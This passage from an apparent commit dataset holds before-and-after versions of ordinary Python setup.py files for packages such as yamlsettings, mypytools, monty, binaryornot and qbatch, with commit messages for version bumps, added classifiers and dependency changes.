install_requires=requirements['package'], extras_require=requirements, setup_requires=requirements['setup'], license='MIT', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ], test_suite='tests', tests_require=requirements['test'], )
<commit_before>try: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() requirements = { "package": [ "PyYAML", ], "test": [ "nose", "mock", "pytest", "pytest-mock", "pytest-pudb", ], "setup": [ "pytest-runner", ], } requirements.update(all=sorted(set().union(*requirements.values()))) setup( name='yamlsettings', version='1.0.0', description='Yaml Settings Configuration Module', long_description=readme, author='Kyle James Walker', author_email='KyleJamesWalker@gmail.com', url='https://github.com/KyleJamesWalker/yamlsettings', packages=['yamlsettings'], package_dir={'yamlsettings': 'yamlsettings'}, include_package_data=True, install_requires=requirements['package'], extras_require=requirements, setup_requires=requirements['setup'], license='MIT', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ], test_suite='tests', tests_require=requirements['test'], ) <commit_msg>Fix Missing Extension from package<commit_after>try: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() requirements = { "package": [ "PyYAML", ], "test": [ "nose", "mock", "pytest", "pytest-mock", "pytest-pudb", ], "setup": [ "pytest-runner", ], } requirements.update(all=sorted(set().union(*requirements.values()))) setup( name='yamlsettings', version='1.0.1', description='Yaml Settings Configuration Module', long_description=readme, author='Kyle James Walker', author_email='KyleJamesWalker@gmail.com', url='https://github.com/KyleJamesWalker/yamlsettings', packages=['yamlsettings', 'yamlsettings.extensions'], package_dir={'yamlsettings': 'yamlsettings'}, include_package_data=True, install_requires=requirements['package'], extras_require=requirements, setup_requires=requirements['setup'], license='MIT', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ], test_suite='tests', tests_require=requirements['test'], )
db4214890b2f71c9bb7da760d726924a831eb609
setup.py
setup.py
from setuptools import setup setup(name='mypytools', version='0.1.13', description='A bundle of tools to make using mypy easier', url='https://github.com/nylas/mypy-tools', license='MIT', install_requires=[ 'click', 'findimports', 'typing', 'watchdog' ], packages=['mypytools', 'mypytools.server'], scripts=[ 'bin/check_mypy_annotations.py', 'bin/mypy_server.py', 'bin/print_mypy_coverage.py', ], zip_safe=False)
from setuptools import setup setup(name='mypytools', version='0.1.14', description='A bundle of tools to make using mypy easier', url='https://github.com/nylas/mypy-tools', license='MIT', install_requires=[ 'click', 'findimports', 'typing', 'watchdog' ], packages=['mypytools', 'mypytools.server'], scripts=[ 'bin/check_mypy_annotations.py', 'bin/mypy_server.py', 'bin/print_mypy_coverage.py', ], zip_safe=False)
Bump package version to 0.1.14
Bump package version to 0.1.14
Python
mit
nylas/mypy-tools,nylas/mypy-tools
from setuptools import setup setup(name='mypytools', version='0.1.13', description='A bundle of tools to make using mypy easier', url='https://github.com/nylas/mypy-tools', license='MIT', install_requires=[ 'click', 'findimports', 'typing', 'watchdog' ], packages=['mypytools', 'mypytools.server'], scripts=[ 'bin/check_mypy_annotations.py', 'bin/mypy_server.py', 'bin/print_mypy_coverage.py', ], zip_safe=False) Bump package version to 0.1.14
from setuptools import setup setup(name='mypytools', version='0.1.14', description='A bundle of tools to make using mypy easier', url='https://github.com/nylas/mypy-tools', license='MIT', install_requires=[ 'click', 'findimports', 'typing', 'watchdog' ], packages=['mypytools', 'mypytools.server'], scripts=[ 'bin/check_mypy_annotations.py', 'bin/mypy_server.py', 'bin/print_mypy_coverage.py', ], zip_safe=False)
<commit_before>from setuptools import setup setup(name='mypytools', version='0.1.13', description='A bundle of tools to make using mypy easier', url='https://github.com/nylas/mypy-tools', license='MIT', install_requires=[ 'click', 'findimports', 'typing', 'watchdog' ], packages=['mypytools', 'mypytools.server'], scripts=[ 'bin/check_mypy_annotations.py', 'bin/mypy_server.py', 'bin/print_mypy_coverage.py', ], zip_safe=False) <commit_msg>Bump package version to 0.1.14<commit_after>
from setuptools import setup setup(name='mypytools', version='0.1.14', description='A bundle of tools to make using mypy easier', url='https://github.com/nylas/mypy-tools', license='MIT', install_requires=[ 'click', 'findimports', 'typing', 'watchdog' ], packages=['mypytools', 'mypytools.server'], scripts=[ 'bin/check_mypy_annotations.py', 'bin/mypy_server.py', 'bin/print_mypy_coverage.py', ], zip_safe=False)
from setuptools import setup setup(name='mypytools', version='0.1.13', description='A bundle of tools to make using mypy easier', url='https://github.com/nylas/mypy-tools', license='MIT', install_requires=[ 'click', 'findimports', 'typing', 'watchdog' ], packages=['mypytools', 'mypytools.server'], scripts=[ 'bin/check_mypy_annotations.py', 'bin/mypy_server.py', 'bin/print_mypy_coverage.py', ], zip_safe=False) Bump package version to 0.1.14from setuptools import setup setup(name='mypytools', version='0.1.14', description='A bundle of tools to make using mypy easier', url='https://github.com/nylas/mypy-tools', license='MIT', install_requires=[ 'click', 'findimports', 'typing', 'watchdog' ], packages=['mypytools', 'mypytools.server'], scripts=[ 'bin/check_mypy_annotations.py', 'bin/mypy_server.py', 'bin/print_mypy_coverage.py', ], zip_safe=False)
<commit_before>from setuptools import setup setup(name='mypytools', version='0.1.13', description='A bundle of tools to make using mypy easier', url='https://github.com/nylas/mypy-tools', license='MIT', install_requires=[ 'click', 'findimports', 'typing', 'watchdog' ], packages=['mypytools', 'mypytools.server'], scripts=[ 'bin/check_mypy_annotations.py', 'bin/mypy_server.py', 'bin/print_mypy_coverage.py', ], zip_safe=False) <commit_msg>Bump package version to 0.1.14<commit_after>from setuptools import setup setup(name='mypytools', version='0.1.14', description='A bundle of tools to make using mypy easier', url='https://github.com/nylas/mypy-tools', license='MIT', install_requires=[ 'click', 'findimports', 'typing', 'watchdog' ], packages=['mypytools', 'mypytools.server'], scripts=[ 'bin/check_mypy_annotations.py', 'bin/mypy_server.py', 'bin/print_mypy_coverage.py', ], zip_safe=False)
dfe29829fc64f07fb8c3c5fbf8739b9bdb89e721
setup.py
setup.py
import os from setuptools import setup, find_packages import io current_dir = os.path.dirname(os.path.abspath(__file__)) with io.open(os.path.join(current_dir, "README.rst"), "rt") as f: long_desc = f.read() setup( name="monty", packages=find_packages(), version="2.0.1", install_requires=["six"], extras_require={"yaml": ["ruamel.yaml"],}, package_data={}, author="Shyue Ping Ong", author_email="ongsp@ucsd.edu", maintainer="Shyue Ping Ong", url="https://github.com/materialsvirtuallab/monty", license="MIT", description="Monty is the missing complement to Python.", long_description=long_desc, keywords=["monty"], classifiers=[ "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Development Status :: 4 - Beta", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Topic :: Software Development :: Libraries :: Python Modules" ] )
import os from setuptools import setup, find_packages import io current_dir = os.path.dirname(os.path.abspath(__file__)) with io.open(os.path.join(current_dir, "README.rst"), "rt") as f: long_desc = f.read() setup( name="monty", packages=find_packages(), version="2.0.1", install_requires=["six"], extras_require={"yaml": ["ruamel.yaml"],}, package_data={}, author="Shyue Ping Ong", author_email="ongsp@ucsd.edu", maintainer="Shyue Ping Ong", url="https://github.com/materialsvirtuallab/monty", license="MIT", description="Monty is the missing complement to Python.", long_description=long_desc, keywords=["monty"], classifiers=[ "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Development Status :: 4 - Beta", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Topic :: Software Development :: Libraries :: Python Modules" ] )
Add 3,7 and 3.8 to pytthon.
Add 3,7 and 3.8 to pytthon.
Python
mit
davidwaroquiers/monty,materialsvirtuallab/monty,gmatteo/monty,davidwaroquiers/monty,materialsvirtuallab/monty,gmatteo/monty
import os from setuptools import setup, find_packages import io current_dir = os.path.dirname(os.path.abspath(__file__)) with io.open(os.path.join(current_dir, "README.rst"), "rt") as f: long_desc = f.read() setup( name="monty", packages=find_packages(), version="2.0.1", install_requires=["six"], extras_require={"yaml": ["ruamel.yaml"],}, package_data={}, author="Shyue Ping Ong", author_email="ongsp@ucsd.edu", maintainer="Shyue Ping Ong", url="https://github.com/materialsvirtuallab/monty", license="MIT", description="Monty is the missing complement to Python.", long_description=long_desc, keywords=["monty"], classifiers=[ "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Development Status :: 4 - Beta", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Topic :: Software Development :: Libraries :: Python Modules" ] ) Add 3,7 and 3.8 to pytthon.
import os from setuptools import setup, find_packages import io current_dir = os.path.dirname(os.path.abspath(__file__)) with io.open(os.path.join(current_dir, "README.rst"), "rt") as f: long_desc = f.read() setup( name="monty", packages=find_packages(), version="2.0.1", install_requires=["six"], extras_require={"yaml": ["ruamel.yaml"],}, package_data={}, author="Shyue Ping Ong", author_email="ongsp@ucsd.edu", maintainer="Shyue Ping Ong", url="https://github.com/materialsvirtuallab/monty", license="MIT", description="Monty is the missing complement to Python.", long_description=long_desc, keywords=["monty"], classifiers=[ "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Development Status :: 4 - Beta", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Topic :: Software Development :: Libraries :: Python Modules" ] )
<commit_before>import os from setuptools import setup, find_packages import io current_dir = os.path.dirname(os.path.abspath(__file__)) with io.open(os.path.join(current_dir, "README.rst"), "rt") as f: long_desc = f.read() setup( name="monty", packages=find_packages(), version="2.0.1", install_requires=["six"], extras_require={"yaml": ["ruamel.yaml"],}, package_data={}, author="Shyue Ping Ong", author_email="ongsp@ucsd.edu", maintainer="Shyue Ping Ong", url="https://github.com/materialsvirtuallab/monty", license="MIT", description="Monty is the missing complement to Python.", long_description=long_desc, keywords=["monty"], classifiers=[ "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Development Status :: 4 - Beta", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Topic :: Software Development :: Libraries :: Python Modules" ] ) <commit_msg>Add 3,7 and 3.8 to pytthon.<commit_after>
import os from setuptools import setup, find_packages import io current_dir = os.path.dirname(os.path.abspath(__file__)) with io.open(os.path.join(current_dir, "README.rst"), "rt") as f: long_desc = f.read() setup( name="monty", packages=find_packages(), version="2.0.1", install_requires=["six"], extras_require={"yaml": ["ruamel.yaml"],}, package_data={}, author="Shyue Ping Ong", author_email="ongsp@ucsd.edu", maintainer="Shyue Ping Ong", url="https://github.com/materialsvirtuallab/monty", license="MIT", description="Monty is the missing complement to Python.", long_description=long_desc, keywords=["monty"], classifiers=[ "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Development Status :: 4 - Beta", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Topic :: Software Development :: Libraries :: Python Modules" ] )
import os from setuptools import setup, find_packages import io current_dir = os.path.dirname(os.path.abspath(__file__)) with io.open(os.path.join(current_dir, "README.rst"), "rt") as f: long_desc = f.read() setup( name="monty", packages=find_packages(), version="2.0.1", install_requires=["six"], extras_require={"yaml": ["ruamel.yaml"],}, package_data={}, author="Shyue Ping Ong", author_email="ongsp@ucsd.edu", maintainer="Shyue Ping Ong", url="https://github.com/materialsvirtuallab/monty", license="MIT", description="Monty is the missing complement to Python.", long_description=long_desc, keywords=["monty"], classifiers=[ "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Development Status :: 4 - Beta", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Topic :: Software Development :: Libraries :: Python Modules" ] ) Add 3,7 and 3.8 to pytthon.import os from setuptools import setup, find_packages import io current_dir = os.path.dirname(os.path.abspath(__file__)) with io.open(os.path.join(current_dir, "README.rst"), "rt") as f: long_desc = f.read() setup( name="monty", packages=find_packages(), version="2.0.1", install_requires=["six"], extras_require={"yaml": ["ruamel.yaml"],}, package_data={}, author="Shyue Ping Ong", author_email="ongsp@ucsd.edu", maintainer="Shyue Ping Ong", url="https://github.com/materialsvirtuallab/monty", license="MIT", description="Monty is the missing complement to Python.", long_description=long_desc, keywords=["monty"], classifiers=[ "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Development Status :: 4 - Beta", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Topic :: Software Development :: Libraries :: Python Modules" ] )
<commit_before>import os from setuptools import setup, find_packages import io current_dir = os.path.dirname(os.path.abspath(__file__)) with io.open(os.path.join(current_dir, "README.rst"), "rt") as f: long_desc = f.read() setup( name="monty", packages=find_packages(), version="2.0.1", install_requires=["six"], extras_require={"yaml": ["ruamel.yaml"],}, package_data={}, author="Shyue Ping Ong", author_email="ongsp@ucsd.edu", maintainer="Shyue Ping Ong", url="https://github.com/materialsvirtuallab/monty", license="MIT", description="Monty is the missing complement to Python.", long_description=long_desc, keywords=["monty"], classifiers=[ "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Development Status :: 4 - Beta", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Topic :: Software Development :: Libraries :: Python Modules" ] ) <commit_msg>Add 3,7 and 3.8 to pytthon.<commit_after>import os from setuptools import setup, find_packages import io current_dir = os.path.dirname(os.path.abspath(__file__)) with io.open(os.path.join(current_dir, "README.rst"), "rt") as f: long_desc = f.read() setup( name="monty", packages=find_packages(), version="2.0.1", install_requires=["six"], extras_require={"yaml": ["ruamel.yaml"],}, package_data={}, author="Shyue Ping Ong", author_email="ongsp@ucsd.edu", maintainer="Shyue Ping Ong", url="https://github.com/materialsvirtuallab/monty", license="MIT", description="Monty is the missing complement to Python.", long_description=long_desc, keywords=["monty"], classifiers=[ "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Development Status :: 4 - Beta", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Topic :: Software Development :: Libraries :: Python Modules" ] )
0f7e40d28d932db7e87c40c32ddcbd0d59ae9edf
setup.py
setup.py
#!/usr/bin/env python try: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() history = open('HISTORY.rst').read().replace('.. :changelog:', '') setup( name='binaryornot', version='0.4.0', description=( 'Ultra-lightweight pure Python package to check ' 'if a file is binary or text.' ), long_description=readme + '\n\n' + history, author='Audrey Roy Greenfeld', author_email='aroy@alum.mit.edu', url='https://github.com/audreyr/binaryornot', packages=[ 'binaryornot', ], package_dir={'binaryornot': 'binaryornot'}, include_package_data=True, install_requires=[ 'chardet>=2.0.0', ], license="BSD", zip_safe=False, keywords='binaryornot', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Natural Language :: English', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', ], test_suite='tests', )
#!/usr/bin/env python try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.rst') as readme_file: readme = readme_file.read() with open('HISTORY.rst') as history_file: history = history_file.read().replace('.. :changelog:', '') setup( name='binaryornot', version='0.4.0', description=( 'Ultra-lightweight pure Python package to check ' 'if a file is binary or text.' ), long_description=readme + '\n\n' + history, author='Audrey Roy Greenfeld', author_email='aroy@alum.mit.edu', url='https://github.com/audreyr/binaryornot', packages=[ 'binaryornot', ], package_dir={'binaryornot': 'binaryornot'}, include_package_data=True, install_requires=[ 'chardet>=2.0.0', ], license="BSD", zip_safe=False, keywords='binaryornot', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Natural Language :: English', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', ], test_suite='tests', )
Use context manager for file opening/reading.
Use context manager for file opening/reading.
Python
bsd-3-clause
audreyr/binaryornot,audreyr/binaryornot,audreyr/binaryornot
#!/usr/bin/env python try: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() history = open('HISTORY.rst').read().replace('.. :changelog:', '') setup( name='binaryornot', version='0.4.0', description=( 'Ultra-lightweight pure Python package to check ' 'if a file is binary or text.' ), long_description=readme + '\n\n' + history, author='Audrey Roy Greenfeld', author_email='aroy@alum.mit.edu', url='https://github.com/audreyr/binaryornot', packages=[ 'binaryornot', ], package_dir={'binaryornot': 'binaryornot'}, include_package_data=True, install_requires=[ 'chardet>=2.0.0', ], license="BSD", zip_safe=False, keywords='binaryornot', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Natural Language :: English', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', ], test_suite='tests', ) Use context manager for file opening/reading.
#!/usr/bin/env python try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.rst') as readme_file: readme = readme_file.read() with open('HISTORY.rst') as history_file: history = history_file.read().replace('.. :changelog:', '') setup( name='binaryornot', version='0.4.0', description=( 'Ultra-lightweight pure Python package to check ' 'if a file is binary or text.' ), long_description=readme + '\n\n' + history, author='Audrey Roy Greenfeld', author_email='aroy@alum.mit.edu', url='https://github.com/audreyr/binaryornot', packages=[ 'binaryornot', ], package_dir={'binaryornot': 'binaryornot'}, include_package_data=True, install_requires=[ 'chardet>=2.0.0', ], license="BSD", zip_safe=False, keywords='binaryornot', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Natural Language :: English', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', ], test_suite='tests', )
<commit_before>#!/usr/bin/env python try: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() history = open('HISTORY.rst').read().replace('.. :changelog:', '') setup( name='binaryornot', version='0.4.0', description=( 'Ultra-lightweight pure Python package to check ' 'if a file is binary or text.' ), long_description=readme + '\n\n' + history, author='Audrey Roy Greenfeld', author_email='aroy@alum.mit.edu', url='https://github.com/audreyr/binaryornot', packages=[ 'binaryornot', ], package_dir={'binaryornot': 'binaryornot'}, include_package_data=True, install_requires=[ 'chardet>=2.0.0', ], license="BSD", zip_safe=False, keywords='binaryornot', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Natural Language :: English', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', ], test_suite='tests', ) <commit_msg>Use context manager for file opening/reading.<commit_after>
#!/usr/bin/env python try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.rst') as readme_file: readme = readme_file.read() with open('HISTORY.rst') as history_file: history = history_file.read().replace('.. :changelog:', '') setup( name='binaryornot', version='0.4.0', description=( 'Ultra-lightweight pure Python package to check ' 'if a file is binary or text.' ), long_description=readme + '\n\n' + history, author='Audrey Roy Greenfeld', author_email='aroy@alum.mit.edu', url='https://github.com/audreyr/binaryornot', packages=[ 'binaryornot', ], package_dir={'binaryornot': 'binaryornot'}, include_package_data=True, install_requires=[ 'chardet>=2.0.0', ], license="BSD", zip_safe=False, keywords='binaryornot', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Natural Language :: English', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', ], test_suite='tests', )
#!/usr/bin/env python try: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() history = open('HISTORY.rst').read().replace('.. :changelog:', '') setup( name='binaryornot', version='0.4.0', description=( 'Ultra-lightweight pure Python package to check ' 'if a file is binary or text.' ), long_description=readme + '\n\n' + history, author='Audrey Roy Greenfeld', author_email='aroy@alum.mit.edu', url='https://github.com/audreyr/binaryornot', packages=[ 'binaryornot', ], package_dir={'binaryornot': 'binaryornot'}, include_package_data=True, install_requires=[ 'chardet>=2.0.0', ], license="BSD", zip_safe=False, keywords='binaryornot', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Natural Language :: English', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', ], test_suite='tests', ) Use context manager for file opening/reading.#!/usr/bin/env python try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.rst') as readme_file: readme = readme_file.read() with open('HISTORY.rst') as history_file: history = history_file.read().replace('.. :changelog:', '') setup( name='binaryornot', version='0.4.0', description=( 'Ultra-lightweight pure Python package to check ' 'if a file is binary or text.' ), long_description=readme + '\n\n' + history, author='Audrey Roy Greenfeld', author_email='aroy@alum.mit.edu', url='https://github.com/audreyr/binaryornot', packages=[ 'binaryornot', ], package_dir={'binaryornot': 'binaryornot'}, include_package_data=True, install_requires=[ 'chardet>=2.0.0', ], license="BSD", zip_safe=False, keywords='binaryornot', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Natural Language :: English', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', ], test_suite='tests', )
<commit_before>#!/usr/bin/env python try: from setuptools import setup except ImportError: from distutils.core import setup readme = open('README.rst').read() history = open('HISTORY.rst').read().replace('.. :changelog:', '') setup( name='binaryornot', version='0.4.0', description=( 'Ultra-lightweight pure Python package to check ' 'if a file is binary or text.' ), long_description=readme + '\n\n' + history, author='Audrey Roy Greenfeld', author_email='aroy@alum.mit.edu', url='https://github.com/audreyr/binaryornot', packages=[ 'binaryornot', ], package_dir={'binaryornot': 'binaryornot'}, include_package_data=True, install_requires=[ 'chardet>=2.0.0', ], license="BSD", zip_safe=False, keywords='binaryornot', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Natural Language :: English', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', ], test_suite='tests', ) <commit_msg>Use context manager for file opening/reading.<commit_after>#!/usr/bin/env python try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.rst') as readme_file: readme = readme_file.read() with open('HISTORY.rst') as history_file: history = history_file.read().replace('.. :changelog:', '') setup( name='binaryornot', version='0.4.0', description=( 'Ultra-lightweight pure Python package to check ' 'if a file is binary or text.' ), long_description=readme + '\n\n' + history, author='Audrey Roy Greenfeld', author_email='aroy@alum.mit.edu', url='https://github.com/audreyr/binaryornot', packages=[ 'binaryornot', ], package_dir={'binaryornot': 'binaryornot'}, include_package_data=True, install_requires=[ 'chardet>=2.0.0', ], license="BSD", zip_safe=False, keywords='binaryornot', classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Natural Language :: English', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', ], test_suite='tests', )
2b418376d455ec0645a16f5d6e8ed0e7da54d2b5
setup.py
setup.py
#!/usr/bin/env python from setuptools import setup # pypi doesn't like markdown # https://github.com/pypa/packaging-problems/issues/46 try: import pypandoc description = pypandoc.convert('README.md', 'rst') except (IOError, ImportError): description = '' setup( name='qbatch', version='2.0.2', description='Execute shell command lines in parallel on Slurm, S(sun|on of) Grid Engine (SGE) and PBS/Torque clusters', author="Jon Pipitone, Gabriel A. Devenyi", author_email="jon@pipitone.ca, gdevenyi@gmail.com", license='Unlicense', url="https://github.com/pipitone/qbatch", long_description=description, entry_points = { "console_scripts": [ "qbatch=qbatch:qbatchParser", ] }, packages=["qbatch"], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Intended Audience :: Science/Research', 'License :: Public Domain', 'Natural Language :: English', 'Operating System :: POSIX :: Linux', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 3', 'Topic :: System :: Clustering', 'Topic :: System :: Distributed Computing', 'Topic :: Utilities', ], )
#!/usr/bin/env python from setuptools import setup # pypi doesn't like markdown # https://github.com/pypa/packaging-problems/issues/46 try: import pypandoc description = pypandoc.convert('README.md', 'rst') except (IOError, ImportError): description = '' setup( name='qbatch', version='2.1', description='Execute shell command lines in parallel on Slurm, S(sun|on of) Grid Engine (SGE) and PBS/Torque clusters', author="Jon Pipitone, Gabriel A. Devenyi", author_email="jon@pipitone.ca, gdevenyi@gmail.com", license='Unlicense', url="https://github.com/pipitone/qbatch", long_description=description, entry_points = { "console_scripts": [ "qbatch=qbatch:qbatchParser", ] }, packages=["qbatch"], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Intended Audience :: Science/Research', 'License :: Public Domain', 'Natural Language :: English', 'Operating System :: POSIX :: Linux', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 3', 'Topic :: System :: Clustering', 'Topic :: System :: Distributed Computing', 'Topic :: Utilities', ], install_requires=[ "six", "future", ], )
Add install depends, bump version number
Add install depends, bump version number
Python
unlicense
gdevenyi/qbatch,pipitone/qbatch
